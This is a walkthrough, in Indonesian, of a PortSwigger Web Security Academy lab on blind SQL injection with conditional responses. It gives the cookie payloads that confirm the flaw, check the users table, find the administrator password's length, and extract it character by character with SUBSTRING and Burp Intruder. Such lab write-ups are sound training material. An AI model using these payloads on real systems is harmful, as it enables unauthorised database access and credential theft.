Portswigger academy SQLi Lab: Blind SQL injection with conditional responses

 


Kali ini tantangan lab cukup sulit, karena blind sql tidak akan menampilkan respon di layar. Jadi harus menentukan kerentanan berdasarkan respon yang diberikan oleh web. Disini kita membutuhkan tools burpsuite.



Buka lab, dan buka burpsuite. Tangkap lab yang ingin kita selesaikan, dan send to repeater.


Pada bagian tracking id tambahkan payload ' AND '1'='1 , sehingga menjadi:



Lalu send dan lihat respons nya, jika menampilkan kata Welcome back, artinya nilai true. 



Lalu ubah payload ' AND '1'='2, klik send




pada gambar diatas, respon tidak menampilkan pesan welcome back. Ini artinya kerentanan blind sql injection ini dapat kita manipulasi dan kita ambil data penting didalamnya dengan cara melihat respon baliknya. Ini diibaratkan seperti kita tidak tahu password dari administrator yang menjadi challange, tetapi kita bertanya satu-persatu untuk mengetahui kebenarannya. Seperti bertanya, apakah ada tabel administrator? apakah ada kolom password, dan sebagainya. 


Cek apakah ada tabel users:

gunakan ' AND (SELECT 'a' FROM users LIMIT 1)='a 

cek responnya. 


Pesan welcome back muncul, artinya ada tabel users di dalam database. 

Cek apakah ada user bernama administrator:

gunakan ' AND (SELECT 'a' FROM users WHERE username='administrator')='a



Pesan welcome back muncul kembali, artinya ada user bernama administrator.


Cek panjang password:

Kita sudah mengetahui ada tabel bernama users dan username bernama administrator, sekarang tentukan panjang karakter dari password. 
Gunakan: 
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>4)='a
' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>5)='a

ulangin terus sampai pesan welcome back tidak muncul, pesan welcomback tidak muncul di angka 20. Itu artinya panjang karakter password adalah 20.

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a



Selanjutnya send message to intruder:


Gunakan fungsi substring

Fungsi substring akan berguna untuk mengesktrak single karakter dari password.

Tambahkan payload di cookie tracking dengan: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

Tambahkan $a$ pada a diakhir payload, menjadi:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='$a$




Setup payload pada intruder:


Ubah payload type menjadi brute forcer, dan ubah min length beserta max length menjadi 1.

Selanjutnya start attack:


Dari hasil diatas, cari karakter yang memiliki length berbeda, pada bagian respons akan menampilkan welcomeback, dan yang lain tidak. Artinya karakter pertama pada password adalah angka 1. Catat karakter pertama tersebut dan lakukan berulang sebanyak 20 kali untuk mendapatkan 20 karakter. Lakukan ini jika memakai burpsutite community, jika pakai burp suite professional bisa menggunakan 2 payload, sehingga prosesnya lebih mudah.

Caranya ubah payload menjadi :

' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='$a$

' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator')='$a$

' AND (SELECT SUBSTRING(password,4,1) FROM users WHERE username='administrator')='$a$

' AND (SELECT SUBSTRING(password,5,1) FROM users WHERE username='administrator')='$a$

' AND (SELECT SUBSTRING(password,6,1) FROM users WHERE username='administrator')='$a$

dan seterusnya sampai 20.

Nanti karakternya akan lengkap dan gunakan password tersebut untuk login dengan username administrator. Lab ini berhasil diselesaikan.







Komentar